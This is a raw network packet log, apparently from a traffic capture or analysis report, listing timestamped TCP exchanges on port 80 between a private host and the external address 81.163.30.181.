Jan 14, 2022 20:29:58.505433083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505481958 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.505491018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505532980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505575895 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505589008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.505614996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505671024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505675077 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.505714893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505753040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505764961 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.505806923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505861998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.505876064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505919933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.505960941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.505975962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.506022930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.506058931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.506063938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.506098032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.506139994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.506155968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.506198883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.506238937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.506241083 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.506277084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.506320000 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.506335020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.506378889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.506416082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.506417990 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.506462097 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.506504059 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.506513119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.567754030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.567801952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.567840099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.567843914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.567883968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.567895889 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.567924023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.567977905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.567980051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568018913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568058014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568064928 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.568098068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568136930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568147898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.568176031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568216085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568221092 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.568253040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568293095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568300009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.568331003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568370104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568382025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.568409920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568447113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568470955 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.568486929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568526983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568557978 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.568563938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568604946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568617105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.568645000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568684101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568696022 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.568723917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568761110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568789005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.568800926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568840027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568850994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.568877935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568916082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568928003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.568955898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.568994999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569015980 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.569036007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569075108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569088936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.569117069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569156885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569169998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.569195032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569233894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569241047 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.569272995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569312096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569324017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.569350958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569387913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569401026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.569427013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569468021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569473028 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.569504976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569544077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569582939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569591045 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.569622993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569634914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.569663048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569700956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569714069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.569741011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569780111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569787025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.569817066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569868088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.569888115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569928885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569966078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.569977045 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.570005894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570045948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570060015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.570084095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570125103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570128918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.570163965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570200920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570210934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.570239067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570276976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570288897 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.570333958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570373058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570379019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.570410967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570451021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570456982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.570489883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570528984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570542097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.570568085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570606947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570611000 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.570645094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570688009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570698977 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.570727110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570774078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570775986 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.570815086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570853949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570866108 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.570893049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570931911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.570935965 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.570970058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.571011066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.571022987 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.571050882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.571090937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.571111917 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.571140051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.571178913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.571190119 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.629235983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629287958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629331112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629384995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629394054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.629424095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629426956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.629465103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629489899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.629506111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629544973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629561901 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.629582882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629623890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629637957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.629662037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629702091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629712105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.629741907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629781961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629796028 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.629822016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629884958 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.629918098 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.629964113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630003929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630018950 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.630063057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630110979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630115986 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.630163908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630203962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630218029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.630243063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630284071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630296946 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.630321026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630362034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630377054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.630403042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630440950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630455017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.630480051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630518913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630532026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.630558968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630599022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630614042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.630636930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630676985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630682945 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.630716085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630754948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630769014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.630795002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630835056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630847931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.630873919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630914927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630923986 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.630953074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.630992889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631005049 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.631031036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631072044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631086111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.631113052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631151915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631165028 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.631191969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631232977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631262064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631292105 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631330967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631371021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631408930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631409883 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.631445885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631484985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.631484985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631503105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.631524086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631537914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.631562948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631604910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631617069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.631642103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631680012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631699085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.631720066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631757021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631773949 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.631797075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631835938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631850958 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.631875992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631916046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631928921 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.631953001 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.631992102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632004976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.632030964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632069111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632076025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.632107973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632148981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632177114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.632189035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632229090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632246017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.632266045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632304907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632318974 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.632344007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632381916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632397890 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.632425070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632463932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632484913 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.632504940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.632720947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.690455914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.690512896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.690551043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.690579891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.690591097 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.690630913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.690649986 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.690670967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.690711975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.690721989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.690751076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.690792084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.690805912 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.690831900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.690881968 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.690886021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.690947056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.690993071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691000938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.691030979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691071987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691086054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.691112041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691154957 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691164017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.691195011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691234112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691248894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.691274881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691313982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691330910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.691350937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691390991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691405058 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.691430092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691469908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691484928 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.691510916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691549063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691564083 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.691589117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691627979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691643000 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.691665888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691705942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691720963 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.691745043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691786051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691800117 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.691827059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691864014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691876888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:58.691903114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:58.691942930 CET	80	49882	81.163.30.181	192.168.2.4
